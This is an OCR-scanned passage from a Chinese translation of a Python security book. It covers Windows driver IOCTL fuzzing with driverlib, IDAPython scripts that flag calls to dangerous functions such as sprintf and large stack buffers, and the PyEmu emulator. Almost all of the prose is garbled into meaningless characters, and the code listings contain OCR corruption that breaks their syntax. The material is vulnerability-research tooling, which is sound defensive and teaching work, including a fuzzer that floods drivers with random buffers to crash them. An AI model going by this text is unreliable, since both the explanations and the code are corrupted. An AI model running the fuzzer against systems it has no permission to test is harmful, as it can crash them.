0x00001ef0 F1 0x0012003 o U SR ZEAR LMK, w6 Z00A W AT P BECR B Wireshark BEAT
ACH., IXFE Wireshark #l2x i JH AN IOCTL A0S,  f 5 ##6 _Laii ik Horh—4> IOCTL Ab2EAY
T e A i

BARIXFEAR AT 5, SR a5 FR i o ARLISSEAEER I o 2840011, BATIIEA S
18 IEAE fuzzing 4% %4, (AN Al LUl hook CreateFileW, #K 5 W 24 DeviceloControl {§f
T 0 AIAs, M IS HES 2% %44, 1 H. fuzz () IOCTL AR HFANSs, A1 PR
X RE P AT R E AT BRI, SXRERE 0 IR 30 D RE 1 2 A BR ) o X AR E <o FRAT
RS 1) 72— AN SIHE W) fuzzer, & HEXPTA I IOCTL ANE W1 fuzzing, T3 /R A8 A4
B, BEAEIX TR AN

Xulaend, wlfE, e AT KK Immunity #5451 driverlib FE T 4G . {1 driverlib 3%
TIREMZS H UK S RE P BT 1 B 45 2 A1 TOCTL QA5 . X e g A6 K it BE S Sl — AN sk,
BT, 4= AT fuzzer T, 1% & —MEREED , fBBONT, AU 2 N - Let” s get cracking .

10.3.1 F® B &4

H Immunity A &2 driverlib 246 H B & AR Y . AERATEE driverlib A2 54 S5
ANTIRER] .

def getDeviceNames( self ):
string_list = self.imm.getReferencedStrings( self. module.getCodebase() )

for entry in string_list:
if "\Device\\" in entry[2]:
self.imm.log( "Possible match at address: 0x%08x" % entry[0], address =
entry[0] )
self.deviceNames.append( entry[2].split("\"")[1] )
self.imm.log("Possible device names: %s" % self.deviceNames)

return self.deviceNames

Listing 10-2: driverlib Pk H ¥4 4 (4



ARG A RIS TP A S I T A R, S B 5 T "\Device\" I, 3X 3k
Al REE AR PN T RIAF SRR, ARk IR BN B R e A . AT A A
C:\WINDOWS\System32\beep.sys M LL FEF . LU FEAEASLE Immunity ST .

*** Immunity Debugger Python Shell v0.1 ***
Immlib instanciated as 'imm' PyObject
READY.

>>> import driverlib

>>> driver = driverlib.Driver()

>>> driver.getDeviceNames()

["\Device\\Beep']
>>>

TRATTAR ] A = AT AR sl £k 2 17—~ ) FH 1R #6544 \\Device\\Beep,iX 44 2 T A T3
S G —ATAT A AR IR I 7] o Simple is Beautiful ! R 1A A driverlib /& 411 #¥4k I0CTL
dispatch function (IOCTL #JE %) F110 IOCTL codes ( IOCTL fXE4) [,

AEAT IR B EE S IOCTL #2111, #h 247 — /> IOCTL dispatch £ 57 &b # £ IOCTL 13K
MRS NN G, 5 N5 ) 9 B A2 DriverEntry. DriverEntry [ 25 ZHEZL 01T

NTSTATUS DriverEntry(IN PDRIVER OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING uDeviceName;
UNICODE_STRING uDeviceSymlink;
PDEVICE_OBIJECT gDeviceObject;
RtlInitUnicodeString( &uDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( &uDeviceSymlink, L™\DosDevices\\GrayHat" )
// Register the device
IoCreateDevice( DriverObject, 0, &uDeviceName, FILE DEVICE NETWORK, 0, FALSE,
&gDeviceObject );
// We access the driver through its symlink
IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);
// Setup function pointers
DriverObject->MajorFunction[IRP_ MJ DEVICE CONTROL] = IOCTLDispatch;

DriverObject->DriverUnload = DriverUnloadCallbac
DriverObject->MajorFunction[IRP_MJ CREATE] = DriverCreateCloseCa
DriverObject->MajorFunction[IRP_MJ CLOSE] = DriverCreateCloseCa

return STATUS SUCCESS;

Listing 10-3: DriverEntry ] C J5%3Z8



KA ARH LA DriverEntry AURSHELL, (EUEAR BB T B 2 i gl datb .
TR A IXAT

DriverObject->MajorFunction[IRP. MJ DEVICE CONTROL] = IOCTLDispatch

IXAT 7R 9K ) #§ TOCTLDispatch 3¢ T4 IOCTL 15K o X — YRS A PR G , iX
ATRE PP I O ACH 2

mov dword ptr [REG+70h], CONSTANT

XIEAEF KA e 2k, REG M1 CONSTANT #5 /&7 4w4CHY, IOCTLDispatch 55141
W A7 i 7E (REG) AL B 0x70 HI ML Ty b o ff HIX S 454, FRATTHE 68 4k H IOCTL Ab BE AR5
CONSTANT, /& IOCTLDispatch, #3545 N 46 H IOCTL A3 . driverlib [ HAASKL
W

def getlOCTLDispatch( self ):
search_pattern = "MOV DWORD PTR [R32+70],CONST"

dispatch_address = self.imm.searchCommandsOnModule( self.module
.getCodebase(), search_pattern )

# We have to weed out some possible bad matches
for address in dispatch_address:

instruction = self.imm.disasm( address[0] )

if "MOV DWORD PTR" in instruction.getResult():
if "+70" in instruction.getResult():
self.IOCTLDispatchFunctionAddress = instruction.getimmConst()
self.IOCTLDispatchFunction =
self.imm.getFunction( self.IOCTLDispatchFunctio
break
# return a Function object if successful
return self. IOCTLDispatchFunction

Listing 10-4: X IOCTL dispatch function )%
OB 1) Immunity LA 55— R A28 R BAR R 7L, AN JRBEES R . — BT

TAHIERRE, R IXAN RN SR A, 7851 IOCTL AU A ek & e
T THI>RFE F IOCTL dispatch [ R Z02 Wi ST, LS el 2 8 H B A7 1 TOCTL AGhS .

10.3.3 #k i IOCTL 475



IOCTL dispatch 335 4% N FRAE (W J&: TOCTL AR )P AT AH N (4 o Xt FeAl 1T
B BTE IOCTL IR, R4 IOCTL wiAl 24+ FH A 2 S AR A F A e k. ik Fedi]
SeE— B C SZHL IOCTL dispatch, 2 G ATICgmEAT, FHMFFEH IOCTL 1845,

NTSTATUS IOCTLDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

ULONG FunctionCode;

PIO_STACK LOCATION  IrpSp;

// Setup code to get the request initialized

IrpSp = IoGetCurrentlrpStackLocation(Irp); FunctionCode =

IrpSp->Parameters.DeviceloControl.lIoControlCode;

// Once the IOCTL code has been determined, perform a

// specific action

switch(FunctionCode)

case 0x1337:
// ... Perform action A
case 0x1338:
// ... Perform action B
case 0x1339:
/I ... Perform action C
}
Irp->IoStatus.Status = STATUS SUCCESS;
IoCompleteRequest( Irp, [O_ NO_INCREMENT );
return STATUS SUCCESS;
}
Listing 10-5: — B {& # ) IOCTL dispatch /{2 37 # = # IOCTL 4% % (0x13370x1338,
0x1339)

MR AN TOCTL i =R PR & 21 IOCTL ARSI, Wk AR AL S switch {} 1A, 2R
JEHSHE TOCTL AR FAT A0 R (I3 AE o switch 1EAJZEIL 4n 2 5 A v BE 2 L R R E L .

// Series of CMP statements against a constant

CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339

JE 0xSOMEADDRESS # Jump to 0x1339 action

CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338

JE 0xSOMEADDRESS

CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337

JE 0xSOMEADDRESS

// Series of SUB instructions decrementing the IOCTL code

MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI
SUB ESI, 1337 # Test for 0x1337

JE 0xSOMEADDRESS # Jump to 0x1337 action



SUB ESI, 1 # Test for 0x1338

JE 0xSOMEADDRESS # Jump to 0x1338 action
SUB ESI, 1 # Test for 0x1339
JE 0xXSOMEADDRESS # Jump to 0x1339 action

Listing 10-6: B AR switch{} RIL4wTE 4

switch{} [RISICGi AR ATIRZ Bl Aol W HE LmEpiRe . 72258 FriE oL~ 3Al]
AU 285101 CMP 454, $REHEATLLACH) 3 &, IX2eml2 IOCTL AU, 25 Aol
MR IR R, Bl — R SUB f 1R AF B SEL. GBI —4T QIR

SUB ESI, 1337

E—ATEVF T AT, /MG TOCTL AUE k& 0x1337 . MIX HLFF 4R, 0x1337 ENEE—A
W, BT SUB fR2 082 20, BN F 2/, BRI H SR IHT IREE ) — AN B IOCTL
e AW 20, HE switch 450 BARSIH LAE Immunity H & 1 Libs\driverlib.py.
45 B 54k 46 T TIOCTL dispatch AT i IOCTL codes.

BULE driverlib R FRATT5e % T fe I fe RI00E o 3 R R IR S = H driverlib
FHAEIR SR b AT (19 B4 44 F1 IOCTL A0S, I HoKe 45 R ORAF 2] Python pickle Ho #35 H
‘BT IOCTL fuzzer. Let’” s get fuzzy !

10.4 14 % Driver Fuzzer

A 58 PyCommand:IOCTL-dump o

#ioctl_dump.py
import pickle
import driverlib
from immlib import *
def main( args ):
ioctl list =]
device list =[]
imm = Debugger()
driver = driverlib.Driver()
# Grab the list of IOCTL codes and device names
ioctl list = driver.gettOCTLCodes()
if not len(ioctl_list):
return "[*] ERROR! Couldn't find any IOCTL codes."
device list = driver.getDeviceNames()
if not len(device_list):
return "[*] ERROR! Couldn't find any device names."
# Now create a keyed dictionary and pickle it to a file
master_list = {}



master list["ioctl_list"] =ioctl list
master_list["device_list"] = device_list
filename = "%s.fuzz" % imm.getDebuggedName()
fd = open( filename, "wb" )
pickle.dump( master_list, fd )
fd.close()
return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % filename

XA~ PyCommand AH 7% #L: K& IOCTL AAHEA13E, KRS R IR, FA 1127
o, SRIGIRAARISCH R . R RERAT R EAE Immunity 6247 RN lioctl dump,
pickle XAl 23 PR A7 2] Immunity H3x T

JTHARA HUR fuzzer. #2 T Kk J& coding and coding, FRATSLILAIIX A fuzzer FrillVE
PRAIAE N AR R AN 22 ph X s, AN R AR A S 1

#my_ioctl_fuzzer.py
import pickle
import sys
import random
from ctypes import *
kernel32 = windll.kernel32
# Defines for Win32 API Calls
GENERIC READ = 0x80000000
GENERIC WRITE = 0x40000000
OPEN_EXISTING =0x3
# Open the pickle and retrieve the dictionary
fd = open(sys.argv[1], "rb")
master_list = pickle.load(fd)
ioctl list =master list["ioctl list"]
device list = master list["device list"]
fd.close()
# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = [] for device name in device list:
# Make sure the device is accessed properly
device file =u"\\.\\%s" % device name.split("\")[::-1][0]
print "[*] Testing for device: %s" % device file
driver_handle =
kernel32.CreateFileW(device file, GENERIC READGENERIC WRITE,0,None,OPEN_ EXISTI
NG,0,None)
if driver _handle:

print "[*] Success! %s is a valid device!"
if device file not in valid_devices:
valid_devices.append( device_file )



kernel32.CloseHandle( driver _handle )
else:
print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
print "[*] No valid devices found. Exiting..."
sys.exit(0)
# Now let's begin feeding the driver test cases until we can't be
# it anymore! CTRL-C to exit the loop and stop fuzzing
while 1:

# Open the log file first

fd = open("my _ioctl fuzzer.log","a")

# Pick a random device name current device = valid devices[random.randint(0,
len(valid_devices)-1 )]

fd.write("[*] Fuzzing: %s\n" % current_device)

# Pick a random IOCTL code current_ioctl = ioctl list[random.randint(0,
len(ioctl_list)-1)]

fd.write("[*] With IOCTL: 0x%08x\n" % current_ioctl)

# Choose a random length current_length = random.randint(0, 10000)

fd.write("[*] Buffer length: %d\n" % current length)

# Let's test with a buffer of repeating As

# Feel free to create your own test cases here

in_buffer ="A" * current_length

# Give the IOCTL run an out_buffer

out_buf = (c_char * current_length)()

bytes returned = c ulong(current length)

# Obtain a handle

driver_handle = kernel32.CreateFileW(device_file,

GENERIC_READ|GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
fd.write("'"FUZZ!\n")
# Run the test case
kernel32.DeviceloControl(  driver_handle, current ioctl, in buffer, current length,
byref(out buf), current length, byref(bytes returned), None )
fd.write( "[*] Test case finished. %d bytes returned.\n\n" % bytes_returned.value )

# Close the handle and carry on!
kernel32.CloseHandle( driver handle )
fd.close()

JE M pickle SCIFHEUH A5 TOCTL AU AT 44 (17 i AR AR R L BERE ZRAT AU AN
B 4. WERTEHIREG SNSIR B ER . BAABPLER &4 A 10CTL A, 4l



AR X . f ks IOCTL Ak K E) .
R Ay 22T fuzzing.

C:\>python.exe my ioctl fuzzer.py i2omgmt.sys.fuzz

W fuzzer crash T HLAY, FRATTRENS IR A1 3RS AL TOCTL R4S . He45 e L IK
)T o R 10-7 BoRte— RIS 1) fuzzing IS

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002019

[*] Buffer length: 3277

NFUZZ!!

[*] Test case finished. 3277 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002020

[*] Buffer length: 2137

NFUZZ!!

[*] Test case finished. 1 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002016

[*] Buffer length: 1097

NFUZzZ!

[*] Test case finished. 1097 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x8400201c

[*] Buffer length: 9366

NFUZZ!!

Listing 10-7: —IXH&IIH) fuzzing iCF
e IRIE 2 1E S, —/ IOCTL, 0x8400201c 51Kk T &G mnt, KX 2G4

ke HETAIEIRATH fuzzer AR TR, (HEAREE S, nf DL AW Y REShRE, e 58 K.
Horp—/Na] BE R 7V &, #f InBufferLength B3 OutBufferLength S 0% & A SLBR AL

(ROl KRR TSk 2 e, w1 destroy all drivers in your

path!



11

IDAPYTHON-—-IDA JiiAs

IDA Pro(ii 5 24 Iifak Guilfanov) LA H iR KK F AT ThAE 2
MBI AR TENEE. ILRMNIEEBERNSEES,

Hex-Rays SA (fi 8 2E/R). DA W4 CARBEKZECT 6 LIET, Mk

o a B eIy, RS T AW E TS . IDA Y RERE ) AR IR 1),
AL T IDCIDA HIEIAE 5) R SDKAETF R #§JE 7/ IDA $ifF).
2004 4 Gergely Al Ero Carrera JF & T IDAPython ffif:, #5% K1) Python F1 IDA &4
e, AE1S B B BT AR AT e T . I 414 IDAPython B8 2 IS T T & A Rs =
(Zynamics [ BinNavi) 1 JFJf TF ( PaiMei fil PyEm) W, X —%, LAIEES
IDAPython(LA IDA Pro 5.2 2y HAR) ) 22 LA K FE 2L R A, fe i i J LAl o i 48] -1
03K IDA HEMEL TS

11.1 Z%% IDAPython

M http://idapython.googlecode.com/files/idapython-1.0.0.zip 2 A 175 5 i J 46 (L . XA
FAS EL i B, @K 58 428 idapython-1.2.0 ida5.4 py2.5 win32.zip HIRRAS, iXANKRAS o a] LA
T ida5.5.

TSGR AE, ¥ 3 HE N python SCAFYE, HHIF] IDA Kwde H T (BRI K
C:\Program Files\IDA ), *¥f plugins H % T python.plw & il %] IDA 1] plugins H & T (ERIA N
C:\Program Files\IDA\plugins.).

AR IDA, BERINE AN AT HAT SO, — BB BT o8 i, i BG4
i A7 T IDAPython MIfE R, 1043 AN SCAF I g 2 A2 L) . anfsl 11-1,



Loading IDP module CisProgram FileshsIDasprocshpc.w3z for processor metapc...0k
Loading type libraries...

Autoanalysis subsystem has been initialized.

Database for Tile 'calc.exe' is loaded.

Campiling file "Z:“Program Files“IDANidcwida.ido'...

Executing function 'main'...

IDAPwLhon wersion 1.0.0 final (serial 001 initialized
Python interpreter wersion 2.5.2 Tinal (serial 0]

al: idle Down  |Disk: 9GE |
Figure 11-1: IDAPython 2h %32 J5 i IDA Pro FI¥I#HALAE B

FESCAFE R 2 A B2 NI, Wil 11-2

= Open...

Load file L4
Produce file L4

IDC file...

IDC command... Shift+F2
Python file... Alt+9
Python command... Alt+8

& save Ctrl+W
Save as...

Close

Figure 11-2: IDAPython /1) %35 /5 DA Pro X3¢ 8

FEAN BT AL I 43 531 & Python file A1 Python command, #VE L ELF T . W1 R AEME AT
— AR Python 174, H R Python command £, Fa HEL—/NE I, AM2 )5,
w2y IDA i H & 10 & 345 8 . Python file 3550 H T #4047 3157 Y IDAPython JHIAS, X /&
RSN . 56 IDAPython T M@ he, I HIEW TAE, N RiERATT M T
F ) DAPython p& %5 .

11.2 IDAPython &3

IDAPython BEW U in) BT 1) IDC R, FeATT A 24— 264 1 | 31, b 2 J5 ) IDAPython
JIA G 5 i35l . IDC B 100 24 RE0 A DG ] LUF U5 .

11.2.1 F B
DL 1) BR BUAR SE A 55 VA 1R Bf A 2270 FH 301 o

ScreenEA()
SRELIDA PR i, Jebrdg AE (sl . B X AR, Tt fee N—A 250
() I AT AT IAAS



GetInputFileMD5()
IR B IDA gL — 361 SCEF) MDS i, 38 IXANME RE S AW — A SO AN R A S 75
HHSA,

11.2.2 Bt

7E IDA W E B SO 2y i T AR R B, X BB B E ThRE/r 1 T AN 26 (CODE,
DATA, BSS, STACK, CONST,XTRN). LL R s&EH T M ik 5 & FhBefE E .

FirstSeg()
V7 IR R PP A )3 — AN Bl

NextSeg()

Pile) B A iR [F BADADDR .

SegByName( string SegmentName )

W B4 IR P B E, 280, SR text AE 0 S, kS IR [BIRE R A AR BV T4
(A

SegEnd( long Address )
W B Ak, R AT B )

SegStart( long Address )
W B P REA R, SR Bk L.

SegName( long Address )
I BN AN, SRIFB A

Segments()
i 5] H AR R T BRI R

11.2.3 B3

PEIAVT R AR P DA R A R BV, R ARG R rh S W R RIS T
(¥ R KO T AR B e IR AT

Functions( long StartAddress, long EndAddress )
A FF, 5 T M StartAddress | EndAddress 2 [8] (1) BT 47 B 5

Chunks( long FunctionAddress )



RE—ANFIR, W T ERE B RENIRIEGE ool (chunk start, chunk end)

LocByName( string FunctionName )
A PR KA 3 [ R K L

GetFuncOffset( long Address )
RLAT AN, SRS 152X AN ML BT )RR 24 DL 45 5 Sk pg O AR O AR
SR IR S5 A B AT H LA A4 s R R [e]

GetFunctionName( long Address )
I ANtk R XA kT R e A

11243 X 5| H

et ACHE AR 922 S5 AE 3T SCPF I PAT IR FRIN AR 2L, JEHOE 2 AT 1o B i
BRI, B H AR Ie 8 AT ik R — AR phsly, XM A T4 IDA
IR 23 R0 ) CRE £ S5 ] . IDAPython S48 17— KHE s BOH] 1% g oI - e
AIf e i LR

CodeRefsTo( long Address, bool Flow )
Rl =, HIUFRAT Address AR HEAT A M7 5 T, Flow #57F IDAPython & 15 %
PREFXLEARNT

CodeRefsFrom( long Address, bool Flow )
RE—ANFIZE, S IFFRAT Address Hutik_FFARES 51 F AT AR AR AS o

DataRefsTo( long Address )
WP —AFNEE, HIRIRAT Address ACEHEBE AT AT 51 T o W TERER A RAL

DataRefsFrom( long Address )
RE—=ANBIZE, 5 IFFRAT Address Hutik_F- fRIARAS 51 4] A 1 K

11.2.5 Debugger Hooks

Debugger Hook 7& IDAPython $& {11 55— AN EF I DiGE, HT Hook £ IDA P11 i
ey, R AP G B IDA — A T IHEES, (HE 7528 & i
i, A H IDA PR ER L2 AN S T IR 2 o 2 )5 3414 H debugger hooks 1] i —
RIS 55K St T H . fH debugger hook 2 Rll, JGEBHR——> hook AR 5 7E 5 L 3k
JE SCEFR AR A 2E ek 2



class DbgHook(DBG_Hooks):
# Event handler for when the process starts
def dbg_process_start(self, pid, tid, ea, name, base, size)
return
# Event handler for process exit
def dbg_process_exit(self, pid, tid, ea, code):

return

# Event handler for when a shared library gets loaded
def dbg_library load(self, pid, tid, ea, name, base, size):
return
# Breakpoint handler
def dbg_bpt(self, tid, ea):
return

XAREE T EAECE AT, 225 ] 2180 JUAN S S AF b BE ek £ 222k hook
P E v I

debugger = DbgHook()
debugger.hook()

WAEIZAT PR AS, hook 2 liFE T A A AT, IXFEml BEARH R HI A45 0] IDA A &%
IS T ) R S A R IS R AT
AddBpt(long Address )

FEF E PR 1 5 0B AT

GetBptQty()
S 24 5 O M A MR

GetRegValue( string Register )
M I A7 A IR AR

SetRegValue( long Value, string Register )
BT P A7 A A 1E

11.3 R A 45+

A T5E B — LA ) i S 22 B A . 2 5, K RTLAfERLIERE By e,
B SE N RE SR, AR S AR A o BN ORI BRIACKS Fi st Wi B £ 6 e 211 T H
FE, BLRJ IDA [ debugger hook ML K (AR 7 5%, 38AT T AT s B AR 10K/



11.3.1 R ER R B HHE R

MR AEFHRAT IS bug B, 75 Je s — 205 R i 25 2 et o i 1)
PR, EU W& B6 1) 45 53 4 UL BB Y (strepy, sprintf),  PNA7$% D1 BRI Bl(memcepy) %5 . £EFRAT] o #%
TIPS i, T5EAR T A e IR LS pR 5. R I EIAS, R ERERX LE A R R R £, 4R H
REAH Ty, 25 fEX Ee 7 1) 715 Se b BN R MBS, FRATIAE IDA % H i Rg iR 7y
A H K

#cross_ref.py
from idaapi import *
danger_funcs = ["strepy”,"sprintf","strncpy"]
for func in danger funcs:
addr = LocByName( func )
if addr = BADADDR:
# Grab the cross-references to this address
cross_refs = CodeRefsTo( addr, 0)
print "Cross References to %s" % func

n

print "

for ref in cross_refs:
print "%08x" % ref
# Color the call RED
SetColor( ref, CIC_ITEM, 0x00001Y)

ATV SRAS G IS B B ki, AR5 I S bk iR A R o B SRR X LS R B A X 5]
G, #iAMEatd WA 7EN, BEEefF Tk, JH7E IDA R eflha. Hz
HI 414 1) war-ftpd.exe MG H A%, 8 20T i %

Cross References to sprintf

004043df
00404408
0040449
00404810
00404851
00404896
004052cc
0040560d
0040565¢
004057bd
004058d7

Listing 11-1: cross_ref.py F%iH!



TR S H R A sprintf AR T RIHL TS, AR AE IDA T X sy
SEPEANH S LT A, A 11-3,

loc_ 428299:
mov eax, [ebp+arg_ @]
lea ecy, [ebp+Dest]
push eax

push offset aGoonlineCreate ; "GoOnline{): Create(%d) failed.™

iu5h PCX ; Dest

add esp, BCh

lea ecx, [ebp+Dest]
mov eax, dword 44AECH
push eCH

mov esi, [eax]

push 2

mow ecx, eax

call dword ptr [esi+iCh]
Figure 11-3: sprintf 8L cross_refpy -2 5

11.3.2 REEHER

TEPATEN A /M B INHs, W FRATEE AT A 2 A A AT, JER B
TR ) 28 R 7 ok — N A, A0 SRS B Sz s AT — 0 Sk, AIH 7 a5 AR AR e S
BARLF T/, R T A4 T, FATTE A IDAPython 2k HUH A 1y (1) BT 47 of 45,
It HAE TR BRI UG A # 5e EL AF T 55 . 2 J5i24T IDA k%5, debugger hook 24%E—
IR RIT sl A PR AT D3E AT o

#func_coverage.py
from idaapi import *
class FuncCoverage(DBG_Hooks):
# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return
# Add our function coverage debugger hook debugger = FuncCoverage()
debugger.hook()

current_addr = ScreenEA()
# Find all functions and add breakpoints

for function in Functions(SegStart( current _addr ), SegEnd( current addr )):
AddBpt( function )



SetBptAttr( function, BPTATTR FLAGS, 0x0 )
num_breakpoints = GetBptQty()

print "[*] Set %d breakpoints." % num_breakpoints

55— %% debugger hook , PRI SR A A L& WS o B I IRIUIT A7 R £
fhl, FEREASHubE FUCE KA. SetBptAttr VRIS, BBIWASUS, AT TR, k4t
PUAT; WRBEA XM, ARATRAATF TR RS T, ABICMAIE. )5 — 5t 2T
BN BT W R . AN T S A & IR %, debugger hook T 1 W 55 Ab B pf £i0st 25 47
EH ST ik, XAk AR ea 424, B AT EIP S 474 0 ME . BAEsAT s
(A FO), KT REME BT A R BEHAT T, BLRENTHAT B

11.3.3 tHE AR KD

A AT AR REAT IR VEAS (BRI, 1A BR EOR T AR RN R AR Y« K
1L Z] R JITE, A 325 bR BB i — MR I 2 RS I AR 2P X, WSR2 ), JRAT Tt
SRR, REAL 3 22 /DB 25 8 B ANTE i Y n 2 RS, 2 TR/ T RVE A T e B AR A A
o N IBAT — BRI S8 ORI 55+ B RE BT AT (K e K, AR5 AR X 28 R £
IR AS 2 WA GE i DOR/INRF S AT EESR, T BV H oK o R X S8 iy i F BALAS 15 O 2K
FATHBEAEPIARE P IO 0%, ARG P ERER BB (VT R 2

#stack_calc.py

from idaapi import *

var_size threshold =16

current_address = ScreenEA()
for function in Functions(SegStart(current address), SegEnd(current address) ):
stack frame = GetFrame( function )

frame counter =0
prev_count =-1

frame size = GetStrucSize( stack frame )
while frame counter < frame_size:

stack var = GetMemberName( stack frame, frame counter )



if stack var!="":
if prev_count != -1:
distance = frame_counter - prev_distance
if distance >= var_size threshold:

print "[*] Function: %s -> Stack Variable: %s (%d bytes)" %

( GetFunctionName(function), prev_member, distance )

else:
prev_count = frame_counter
prev_member  =stack var
try:
frame counter =  frame counter +  GetMemberSize(stack frame,
frame_counter)
except:

frame counter += 1
else:
frame counter += 1

FATBCE T B, AR R MRASE DA E G RATI R X B K
16 741, ALRF WA SR T AR NEERHEIR. E58, MR
R E BRI ARAESE N B . I GetStrucSize THE HIARRESE R/ o B TEIR
RO P AR B WURS B AR B, 0k 2 B AR B B B MR R AL B AR5 2
AR ZE ARV 5 AR S s R S TR KN e IEROK/INIE R, T BN SR, WERAME K, 2l
SRR RN, KA EAATIALE, AR AR E . WEREIAFIARENR
N AR T AL L S KA, BEh B AN, RJRREAEIA . EARIZ AT A,
ATk e B METE I A% .

[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes)
[*] Function: sub_149c -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a9aa -> Stack Variable: var 14 (36 bytes)
Listing 11-2: stack_calc.py % H

MAEIRATTA T IDAPython [W3EREAEIR, RTS8 T ILMERE LY M FA . X
LN NP A, B BAT A AR Z ], e TR, md e —tl. F—Eikgk
115 —% IDAPython [FJ5Zfr M Hl: PyEmu, —M3ET Python 1) x86 1/j EL2%.
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PyEmu

PyEmu [ Cody Pierce(TippingPoint DVLabs team) T
2007 £ RIE K= LH KA. PyEmu 2 —/~4F Python SILH
IA32 i E4%, M TR CPU K& F1TH LLSB AN RIHAES « 15
HAAEFAMH, MR ERRR, BAITAHRIERZT
e, MRS ESKWEAERMNEUASHIZE1T. PyEmu
H #H = 4 3% :IDAPyEmu, PyDbgPyEmu #1 PEPyEmu .
IDAPyEmu H]-T-7& IDA Pro N 5855 F i EAE4% (i DAPython 1,

TR 11 %), PyDbgPyEmu KM 1212707, RN e av/r i H 3ATE IE 1K AR R 35 47 4
PEPYEmu & —MUSL A M E, ANT5 2 IDA e 58 Sl ifE 55« T E LN 4
IDAPyEmu 1 PEPYEm, #| R[] PyDbgPyEmu %5 KK H O A% . FI5E M PyEmu 1%
PTG, BE RN AT AR IEER, A SEBm B A AE 2%

%% PyEmu

M http://www.nostarch.com/ghpython.htm "~ Z1F & W U 1 SCF, W R %A 1 [F) 22 2
googl e code [ o

ARG, f#HF] C:\PyEmu. FERAIE PyEmu A1) %, #EMA LU AT
Python (AR CE

sys.path.append("C:\PyEmu\")
sys.path.append("C:\PyEmu\lib")

PR RAEIRA AN THE T PyEmu FIARSEAM, 5 {8 1 i BIA g S .



122  PyEmu—%

PyEmu #% &I 5r il =N EE ) RG: PyCPU, PyMemory fl PyEmu. S5AIAC L &2 1
st & PyEmu 28, ‘& 51 PyCPU 1 PyMemoey A8 H.5¢ Wi 2 I TAE . {IRATTINA 3K 5
PyEmu $4T—/ M2 R, &t PyCPU € B IE 452 #:4F . PyCPU 7EBH TR &4
FERIIHE, HEFEEM N AAEES R PyEmu, B PyEmu 482210 H PyMemory 4fiBh5¢ sl 3445
A HERAE, 55t PyEmu #4454 1 45 Bk Rl 450 H 4 .

Rk, ARIRAIEREN T/ NS T RGBT 5k,  DUESELF I8 AR R i
PyEmu B IAVTEL T A4, [RGB REXT SR B A A0 1) T il o

12.2.1 PyCPU

PyCPU /& PyEmu [4%.0, BB AE S CPU —Ff. 7EfF S, &5t
PATFE A 4 PyCPU M EE— a2 IR, SR RIG 2 TaEt ( S5 A0 #1110 IDA
Pro/PEPyEmu 50 11 57 8 & WX 1) PyDbg 3KHX), SRJGH-H5 2151845 pydasm, G & 5 %
PR AERAENT S PyCPU 4L ST iR 5 2 K18 116153 PyEmu 851 & 2R T nl fig.

A PyEmu 2RI 19484, #A — MY N R S 28007, WAk 4 CMP
EAX ,1 1645 PyCPU, #:3#5 PyCPU #i4:ii H] PyCPU CMP() BR B AT ELIE (B34, 3T A £7
KR BB, 25 E CPU ARG, SRR IX IR LIRSS A A MR IR 257 ] LA
FH PyCPU.py, FT4 1) PyEmu 25 (K454 Ab 7 ok S 481X BL, 83w 78 &A1 AW 4 CPU
S WA 58 OIS SRR RS 2 ERAE (1 o AR ORRE R Pk, Cody 7EIX B w4k .

12.2.2 PyMemory

PyMemor 157 IRk A7 AT 13- (K100 ZEHCH o [ I vy LIOK m] AT R e RO AR A 4
PRPLHEAT W, DU BLas b U I o FERS S A EEERZ )5, iR BA TR H %03 PyEmu,
CLRAAR 3Tk

12.2.3 PyEmu

PyEmu §1 57 PR LA FLAS ISR . PyEmu 284 S g BETH A0 (R R, 43T
KA REMGARBRNI T A s K FLAS AT, AR G IRIZERAE . X VI#E i PyEmu $2 it
08 B e S BL, A EATTRELEBATTAIZ AN ) TAEARAG ST 0, IR SR AT IR, 2
ARFFAF A AEIE A BB A7 2555 R IR = AT

12.2.4 AT HAE

PyEmu JHATIEFEH— ez Hl, execute()o JAUITF:



execute( steps=1, start=0x0, end=0x0 )

MILEASHL R ADNEREA AL, WA PyEmu 287 Kbl G 3T . XA bk
VFJ& PyDbg [ EIP %5 478545 W A E, 14 & PEPYEmu JNE I Al PUATREF N E ihl, b
/2 IDA Pro JGARPT AL AL . start A HFAAAT IHLEE, steps AHATIFEL R, end N4
R

12.2.5 WM FFasEE

16 DRI, 32 27 472 5 A (R AE30 m) R R PP e ) . PyEmu B eAT1 20 1 1 4 3K
WA, FeAZ & (stack variables), 2 %((stack arguments), ZFA7a%. PAFERAEH get memory()
F1 set_ memory() 5¢ il »

get_memory( address, size )
set_memory( address, value, size=0)

get_ memory() bR BHEI 2 NS4 address N AW ML, size S BRI EHE 19 K1,
set_ memoey() 71 715 A ¥E, address AHANHIHLEE, value A5 AMIME, size A5 AN EHE 1
NG

TN I TABEAE R R B ZE A 2, LB TEARNELE v R 202 SR AR AR S5t (1) G R AT

set_stack argument( offset, value, name="")
get_stack_argument( offset=0x0, name="")
set_stack variable( offset, value, name="")
get_stack_variable( offset=0x0, name=""")

set_stack_argument()[¥] offset #HXI 55 ESP, H T XL N s S H AT o028 . AEERAEIN
TEFE R ] DL AL a] LA IR )44 7. get stack argument()ilid offset $5  (AH X T ESP A%
RIGSEE, B B 45 € (1) name(HI & & 7 set_stack _argument H4& (it 734, ATHJ7 5
Wr:

set_stack argument( 0x8, 0x12345678, name="arg_0")
get_stack_argument( 0x8 )
